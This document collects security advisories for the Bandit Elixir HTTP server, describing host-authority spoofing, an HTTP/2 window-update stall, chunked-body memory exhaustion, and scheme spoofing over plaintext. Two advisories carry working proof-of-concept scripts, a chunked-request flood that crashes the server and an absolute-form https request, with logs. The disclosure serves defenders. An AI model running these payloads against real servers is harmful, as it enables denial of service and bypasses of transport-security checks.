Improper Validation of Syntactic Correctness of Input vulnerability in mtrudel bandit allows an unauthenticated remote attacker to set conn.host and conn.port to values outside the RFC 3986 host grammar via the authority of an HTTP/1 absolute-form or authority-form request target. Bandit validates the Host header and answers 400 when it is malformed, but when the request target carries its own authority that authority takes precedence, as RFC 9112 requires, and Bandit.Pipeline.determinehostandport!/4 in lib/bandit/pipeline.ex passes it to the application unchecked. A request line such as GET http://good.example@evil.example/x HTTP/1.1 with a valid Host header yields a conn.host of good.example@evil.example, and the same path admits NUL, DEL and non-ASCII bytes, invalid IP literals and ports outside 1..65535. The HTTP/1.0 clause needs no Host header at all, and CONNECT places the unparsed port string in conn.port.
Applications that build absolute URLs from conn.host, such as through Plug.Conn.requesturl/1 or Phoenix URL helpers, emit links whose authority the attacker chose. Message framing is unaffected, and no CR or LF can reach conn.host.
This issue affects bandit: from 0.6.0 before 1.13.0.
Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small WINDOWUPDATE frames. A stream whose response outruns the connection or stream send window blocks until the peer grants more window, and each block carries a 15 second deadline. Both deadlines restart whenever the peer makes partial progress. Bandit.HTTP2.Connection.finishdata/5 re-queues a partially advanced send in pendingsends with a fresh expiresat, so every WINDOWUPDATE on stream 0, and every SETTINGS frame, resets the clock. Bandit.HTTP2.Stream.senddata/3 recurses on each stream WINDOWUPDATE and re-arms a fresh after readtimeout. A peer that grants a few bytes every few seconds keeps the blocked stream process, its Plug state and any resource it holds mid-response alive for as long as it keeps dripping, and repeats this across streams and connections to exhaust server processes and memory.
The two paths are independent. The stream-level block is reached on its own by widening the connection window with a large WINDOWUPDATE on stream 0 and shrinking the per-stream window with a small SETTINGSINITIALWINDOWSIZE, so closing only the connection-level path leaves it exploitable.
This issue affects bandit: from 1.4.0 onward.
Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of readdata/2 only forwards :readlength and :readtimeout to doreadchunkeddata!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodatatobinary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
elixir maxtoreturn = min(unreadcontentlength, Keyword.get(opts, :length, 8000000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in doreadchunkeddata! and either return {:more, ...} or raise requesterror! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8000000) and floods it. Save as chunkedoom.exs, run elixir chunkedoom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
elixir Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do use Plug.Builder
# The length option here is ignored by the attack plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["/"], jsondecoder: JSON, length: 8000000 plug :respond
def respond(conn, ), do: Plug.Conn.sendresp(conn, 200, "ok") end
{:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side. chunk = :binary.copy(<<?A>>, 1048576) frame = "#{Integer.tostring(1048576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok = :gentcp.send(sock, """ POST / HTTP/1.1\r Host: 127.0.0.1\r Transfer-Encoding: chunked\r Content-Type: application/json\r Connection: close\r \r """)
Enum.each(1..10240, fn -> :ok = :gentcp.send(sock, frame) end) :ok = :gentcp.send(sock, "0\r\n\r\n")
IO.inspect(:gentcp.recv(sock, 0, 120000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.readbody/2 are silently ineffective on the chunked path.
Summary Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.
The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28
Details The bug is in lib/bandit/pipeline.ex at determinescheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.
Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.
Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determinescheme/2; the discarding of secure? is deliberate.
Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.
PoC A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:
GET https://127.0.0.1:4321/ HTTP/1.1 Host: 127.0.0.1:4321 Connection: close
A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.
Impact Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:
- Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely. - Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions. - Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.
The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.
Script and Logs
elixir Bandit reflects the client-supplied scheme into conn.scheme. lib/bandit/pipeline.ex:89 (determinescheme/2) returns whatever scheme appears on the request target, ignoring the secure? flag that records the actual transport state. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and HTTP/2 :scheme are both attacker-controlled strings that flow into this function. Over a plaintext connection, a client can claim https and Bandit hands a %Plug.Conn{scheme: :https} to the application — even though no TLS was negotiated. Downstream Plug consumers that branch on conn.scheme are misled: Plug.SSL's "already secure, don't redirect" path, secure: true cookie flagging, audit logs, CSRF/SameSite gating, etc. This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one HTTP/1.1 absolute-form request with scheme https://, and prints the conn.scheme the application observes. A fixed server should report :http (or reject the request); the buggy server reports :https. Run: elixir scripts/bandit/http1schemespoofing.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule SchemeApp do @behaviour Plug def init(opts), do: opts
def call(conn, opts) do body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n" Plug.Conn.sendresp(conn, 200, body) end end
defmodule SchemeSpoof do @port 4321
def run do {:ok, } = Bandit.startlink(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
# Absolute-form request target with scheme "https" over a plaintext # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request; # nothing about it implies the connection is TLS. request = "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Connection: close\r\n" <> "\r\n"
log("Sending plaintext HTTP/1.1 request with absolute-form target https://…/.") :ok = :gentcp.send(sock, request)
{:ok, response} = :gentcp.recv(sock, 0, 5000) :gentcp.close(sock)
log("Server response:") IO.puts(response)
cond do response =~ "conn.scheme=:https" -> log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.") log("Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.")
response =~ "conn.scheme=:http" -> log("Server forced scheme to :http — bug appears patched.")
true -> log("Unexpected response shape.") end end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
SchemeSpoof.run()
logs 12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target https://…/. [10:53:25.316] Server response: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 10:53:25 GMT content-length: 47 vary: accept-encoding cache-control: max-age=0, private, must-revalidate
This is what the Plug sees: conn.scheme=:https
[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket. [10:53:25.316] Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.